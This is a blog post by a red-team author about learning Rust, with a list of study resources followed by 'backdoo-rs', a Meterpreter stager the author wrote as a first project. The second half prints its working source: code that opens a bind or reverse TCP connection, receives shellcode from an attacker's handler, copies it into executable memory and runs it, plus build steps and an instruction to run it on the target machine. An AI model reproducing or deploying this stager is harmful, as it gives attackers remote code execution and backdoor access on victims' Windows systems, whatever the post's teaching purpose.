“Launch the Polaris
The end doesn’t scare us
When will this cease?
The warheads will all Rust in peace”
— Megadeth, Rust in Peace… Polaris (1990)
Learning Rust in 2024
This summer I decided it was high time to learn some Rust. For those who lived under a rock for the past 9 years or so, Rust is a modern systems programming language with an ambitious goal: to provide the same performance and efficiency of languages such as C and C++, while avoiding their pitfalls — namely, the dreaded nasal demons of undefined behavior.
Rust’s popularity is steadily increasing, with Internet giants such as Google and Microsoft investing in it:
Had a great time doing a keynote at @ProssimoISRG on Microsoft approach to memory safety.
Made a huge announcement – @microsoft is going big on Rust and spending $10 million to make it 1st class language in our engineering systems + $1 million @rustlang foundation.… https://t.co/E1TdQhHzvB pic.twitter.com/w0EkzAjZaG
— David Weston (DWIZZZLE) (@dwizzzleMSFT) November 2, 2023
After rounding up some learning materials, I embarked on a journey of theoretical and practical study. If you’d like to follow on a similar path, keep reading. It’s 2024, there are plenty of Rust learning resources available and it’s easy to get lost among them… Below, I provide the recommendations I wish I had when I started learning Rust.
Learning materials
First of all, you’ll need a soundtrack! In case you miss the thrash metal scene of the late 80s and early 90s like I do, you can’t go wrong with “Rust in Peace” by Megadeth. How appropriate! 🤘
Now that we’ve found some music that “makes you hack harder” (to quote a friend), here’s a list of recommended learning resources, in the order in which I perused them:
- RustRover. This new, free for non-commercial use IDE is really outstanding and delightful to use, as should be expected from a product by JetBrains. I highly recommend to check it out.
- Rust in Visual Studio Code. Most text editors and IDEs provide Rust support. If your IDE of choice is VS Code, take a look also at the Even Better TOML and Prettier Rust extensions.
- Programming Rust 2nd Edition. This O’Reilly book is, in my opinion, even better than the official Rust Book. It covers all you need to know (and then some) to get familiar with Rust, in a very readable way.
- Rust Book Experiment. Of course, “The Book” is still “The Book”, and you should read it or at least skim through it and solve the interactive quizzes that come with this experimental version.
- A half-hour to learn Rust. In this short article, fasterthanlime goes through as many Rust snippets as he can, explaining what the keywords and symbols they contain mean.
- Comprehensive Rust. Another free Rust course, developed by the Android team at Google. It covers the full spectrum of Rust and then dives into more specialized topics, such as Android, Chromium, bare-metal, and concurrency.
- Learn Rust With Entirely Too Many Linked Lists. A fun and entertaining book on the intricacies of Rust (and linked lists) by the same author of the eldritch Rustonomicon.
- Rustlings. Small exercises to get you used to reading and writing Rust code, useful for some easy practice once you’ve learned the basics of the language. Alternatively, check out Rust by Example.
- 100 Exercises To Learn Rust. After going through everything above with the proper attitude, you’re probably ready to start developing your own code. If you still feel the need for some more guided practice, this is an excellent resource.
- Rust Language Cheat Sheet. Finally, this awesome cheatsheet puts everything together in a compact way, much easier to consult than the official Rust Reference. Keep it handy while hacking on Rust.
I guess that’s it. You now know Rust, congratulations! 🦀
Joking apart, what I actually learned is that learning Rust is a long and sometimes painful process. However, in about 50 hours of study, I became proficient enough to create my first project…
Meet backdoo-rs
As an established ritual, my first project in any new language must be a custom Meterpreter stager! Here are some notable precursors that are part of this noble tradition:
- https://techblog.mediaservice.net/2017/11/how-a-unix-hacker-discovered-the-windows-powershell/
- https://security.humanativaspa.it/letme-go-a-minimalistic-meterpreter-stager-written-in-go/
Now, lo and behold, backdoo-rs:
Let’s see it in action. You can download and cross-compile it as follows (macOS example):
raptor@fnord github % git clone https://github.com/0xdea/backdoo-rs Cloning into 'backdoo-rs'... [...] raptor@fnord github % cd backdoo-rs raptor@fnord backdoo-rs % brew install mingw-w64 [...] raptor@fnord backdoo-rs % rustup target add x86_64-pc-windows-gnu [...] raptor@fnord backdoo-rs % cargo build --release --target x86_64-pc-windows-gnu Compiling proc-macro2 v1.0.86 Compiling windows_x86_64_gnu v0.52.6 Compiling unicode-ident v1.0.12 Compiling quote v1.0.36 Compiling syn v2.0.70 Compiling windows-targets v0.52.6 Compiling windows-result v0.2.0 Compiling windows-strings v0.1.0 Compiling windows-implement v0.58.0 Compiling windows-interface v0.58.0 Compiling windows-core v0.58.0 Compiling windows v0.58.0 Compiling backdoo-rs v0.1.0 (/Users/raptor/Downloads/github/backdoo-rs) Finished `release` profile [optimized] target(s) in 8.72s raptor@fnord backdoo-rs % ls -l target/x86_64-pc-windows-gnu/release/backdoo-rs.exe -rwxr-xr-x@ 1 raptor staff 292352 Jul 12 10:12 target/x86_64-pc-windows-gnu/release/backdoo-rs.exe* raptor@fnord backdoo-rs %
Then, on your attack box, start an exploit/multi/handler instance configured to handle one of the supported Meterpreter payloads (e.g., windows/x64/meterpreter/reverse_tcp):
Finally, run backdoo-rs.exe on the target Windows box with a command such as the following:
Enjoy your Meterpreter session!
A peek under the hood
Yes, backdoo-rs is just a toy implant: Meterpreter itself or some of its functionality will definitely be flagged by a half-competent antivirus (or EDR/XDR as the cool kids call it nowadays 🤦). Therefore, its use out of the box for actual red teaming operations is not recommended. However, while I was coding it I learned a few things along the way, so it’s all good! For instance:
- Package organization (the best for learning this is the Programming Rust book, but see also this section of The Book)
- Command-line processing (see this section of The Book and also the dedicated short book)
- Network and IO APIs (again, see the Programming Rust book and also this section of The Book)
- Windows foreign function interface (see this section of Rustonomicon and this crate)
- A sprinkle of unsafe Rust (again, see the Rustonomicon)
- Cross-compilation (see this section of the rustup book)
- Cargo features and build scripts (see these sections of the cargo reference)
- Binary size optimization (see this GitHub repository)
Phew, quite a lot of stuff 😅
Let’s take a brief look at the code, shall we? The main() function is straightforward. Its task is to process the command line arguments and call the run() public function exported by the backdoo.rs module, handling any error that might occur in such a function:
fn main() { println!("backdoo-rs - A simple Meterpreter stager written in Rust"); println!("Copyright (c) 2024 Marco Ivaldi <[email protected]>"); println!(); // Parse command line arguments let args: Vec<String> = env::args().collect(); let addr = match args.len() { 1 => ":4444".to_string(), 2 => args[1].clone(), _ => { usage(&args[0]); process::exit(1); } }; if addr.starts_with('-') { usage(&args[0]); process::exit(1); } // Let's do it match run(&addr) { Ok(()) => (), Err(err) => { eprintln!("[!] Error: {err}"); process::exit(1); } } }
The run() function implements the logic of the program. Based on its input, it starts either a bind_tcp or a reverse_tcp stager, then calls two private functions to receive and execute the Meterpreter payload. As for error handling, we make extensive use of the convenient ‘?’ operator that propagates errors to the calling function:
pub fn run(addr: &str) -> Result<(), Box<dyn Error>> { let stream = if addr.starts_with(':') { // Start a bind_tcp stager let addr = format!("0.0.0.0{addr}"); println!("[*] Using bind_tcp stager ({addr})"); let listener = TcpListener::bind(&addr)?; let (stream, _) = listener.accept()?; stream } else { // Start a reverse_tcp stager println!("[*] Using reverse_tcp stager ({addr})"); TcpStream::connect(addr)? }; // Receive and execute the payload let payload = payload_recv(&stream)?; println!("[+] Payload received!"); payload_exec(&payload); Ok(()) }
Here’s where things start getting interesting. The payload_recv() function instantiates a buffered reader and uses it to receive a Meterpreter payload via the TCP connection that was previously established. Basically, it puts the payload in a properly-sized vector of bytes and does the necessary magic to make the shellcode work 🪄. Notice the Windows-specific as_raw_socket() method call to extract the underlying socket handle, which took me a while to figure out:
fn payload_recv(stream: &TcpStream) -> Result<Vec<u8>, Box<dyn Error>> { let mut reader = BufReader::new(stream); // Read the 4-byte payload length and allocate the payload buffer let mut tmp = [0u8; 4]; reader.read_exact(&mut tmp)?; let length = u32::from_le_bytes(tmp); let mut payload = vec![0u8; length as usize + 5]; // Prepend some ASM to MOV the socket handle into EDI // MOV EDI, 0x12345678 ; BF 78 56 34 12 let fd = stream.as_raw_socket() as u32; payload[0] = 0xbf; payload[1..5].copy_from_slice(&fd.to_le_bytes()); // Finish reading the payload reader.read_exact(&mut payload[5..])?; Ok(payload) }
Finally, the payload_exec() function uses the FFI as implemented by the windows crate to get a raw pointer to some RWX memory via the VirtualAlloc() Windows API function, copies the received payload there, and executes it by calling CreateThread(), waiting for the shellcode to finish running via WaitForSingleObject() before allowing the stager to exit:
fn payload_exec(payload: &[u8]) { const MEM_COMMIT: u32 = 0x1000; const MEM_RESERVE: u32 = 0x2000; const INFINITE: u32 = 0xFFFFFFFF; // Get a pointer to RWX memory let ptr = unsafe { VirtualAlloc( None, payload.len(), VIRTUAL_ALLOCATION_TYPE(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE, ) }; if ptr.is_null() { eprintln!("[!] Error: Failed to allocate memory for payload"); return; } // Copy and execute the payload unsafe { ptr::copy_nonoverlapping(payload.as_ptr(), ptr as *mut u8, payload.len()); #[allow(clippy::missing_transmute_annotations)] let _ = CreateThread( None, 0, Some(mem::transmute(ptr)), None, THREAD_CREATION_FLAGS(0), None, ); // Wait for the thread to finish running let _ = WaitForSingleObject(GetCurrentThread(), INFINITE); } }
Well, that’s pretty much the gist of it. Thank you for following along, I hope you enjoyed the ride! It’s now time to put my newly-acquired rustacean skills to good use and develop something that’s actually useful for our red teaming engagements.
Until next time…